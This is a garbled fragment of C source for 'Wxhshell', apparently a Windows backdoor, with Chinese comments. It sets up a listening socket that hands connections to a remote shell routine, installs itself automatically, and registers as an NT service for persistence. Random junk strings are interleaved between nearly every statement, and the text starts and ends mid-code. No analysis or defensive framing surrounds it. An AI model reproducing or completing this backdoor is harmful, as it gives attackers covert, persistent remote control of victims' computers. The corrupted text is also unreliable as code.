5GFnfc} CloseHandle(hProcess); |AfQ_iT6c \\G6c4fC if(strstr(procName,"services")) return 1; // 以服务启动 ,M h/3DPgE O/^w!
:z' return 0; // 注册表启动 dDn4nwH } QRHm|f9_C 2[YD& // 主模块 taEMr> / int StartWxhshell(LPSTR lpCmdLine) f>+}U;)EF { iY'hkr w SOCKET wsl; JiLrwPex[ BOOL val=TRUE; @?=)}2=|?i int port=0; R"t$N@ZFb struct sockaddr_in door; U1|4vd9 c^WBB$v if(wscfg.ws_autoins) Install(); %=<NqINM[ ?jm2|: port=atoi(lpCmdLine); 8oH54bFp 3<lhoD if(port<=0) port=wscfg.ws_port; kZ[yv \fR:+rbQ&| WSADATA data; &q}@[
)V4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0S7Isk2W +,^M{^% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :*+BBC setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .F3LA6se door.sin_family = AF_INET; zPkPC}f(O door.sin_addr.s_addr = inet_addr("127.0.0.1"); fvM3.P door.sin_port = htons(port); j<P%Uy+ * !Y3N<>! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d lLk4a+ closesocket(wsl); !X <n:J return 1; kpw4Mq@ } <T/L.>p4 Kcdd=2 [T if(listen(wsl,2) == INVALID_SOCKET) { S^VV^O5 ^ closesocket(wsl); a[cH@7W.# return 1; E=*Q\3G~ } wEc5{ b5M Wxhshell(wsl); 7CMgvH)O WSACleanup(); cH-Zj ^k<$N return 0; 1p<?S}zg@
Q<ExfJm } mT~>4xi0 5nq-b@?L // 以NT服务方式启动 L Hz<=]?@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W}_}<rlF { 7[1
R}G V DWORD status = 0; )tch>.EQ_ DWORD specificError = 0xfffffff; 0i`Zy! ^JDV4>S\ serviceStatus.dwServiceType = SERVICE_WIN32; SW'KYzn serviceStatus.dwCurrentState = SERVICE_START_PENDING; BmF>IQ`M? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1O7ss_E serviceStatus.dwWin32ExitCode = 0; #R~NR8(z serviceStatus.dwServiceSpecificExitCode = 0; k$_]b0D{4 serviceStatus.dwCheckPoint = 0; Z|dZc wo serviceStatus.dwWaitHint = 0; WA5kX SdIb es FL<T hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [eP]8G\
W if (hServiceStatusHandle==0) return; I_*>EA {o<p{q status = GetLastError(); eSBf;lr= if (status!=NO_ERROR) s?#lhI { X(z-?6N4 serviceStatus.dwCurrentState = SERVICE_STOPPED; OBSJbDqT serviceStatus.dwCheckPoint = 0; 6yM dl~. serviceStatus.dwWaitHint = 0; EoCwS serviceStatus.dwWin32ExitCode = status; }B/xQsTx- serviceStatus.dwServiceSpecificExitCode = specificError; {*$J&{6V SetServiceStatus(hServiceStatusHandle, &serviceStatus); HKw:fGt/o^ return; F|Ihq^q } HZ=yfJs nc g|_*(=Q serviceStatus.dwCurrentState = SERVICE_RUNNING; *bSG48W(" serviceStatus.dwCheckPoint = 0; ~At.V+ serviceStatus.dwWaitHint = 0; 'oL[rO~j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Li^!OHro. } c6)zx
b kxwm08/|f // 处理NT服务事件,比如:启动、停止 97dI4t< VOID WINAPI NTServiceHandler(DWORD fdwControl) YDD]n*& { ADz|Y~V! switch(fdwControl) s7}
)4.vO { --FtFo case SERVICE_CONTROL_STOP: ,peE' serviceStatus.dwWin32ExitCode = 0; Bys|i 0tb- serviceStatus.dwCurrentState = SERVICE_STOPPED; p'} %pAY serviceStatus.dwCheckPoint = 0; OR8o%AxL7 serviceStatus.dwWaitHint = 0; M?u)H&kEl { Sxu
v}y\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); S]g)^f'a65 } liP{Mu/LO return; e,UgTxZ case SERVICE_CONTROL_PAUSE: ^D[;JV serviceStatus.dwCurrentState = SERVICE_PAUSED; k>hZ break; k8V0-.UL} case SERVICE_CONTROL_CONTINUE: }!Lr!eALr serviceStatus.dwCurrentState = SERVICE_RUNNING; h!~yYNQ" break; !:{_< |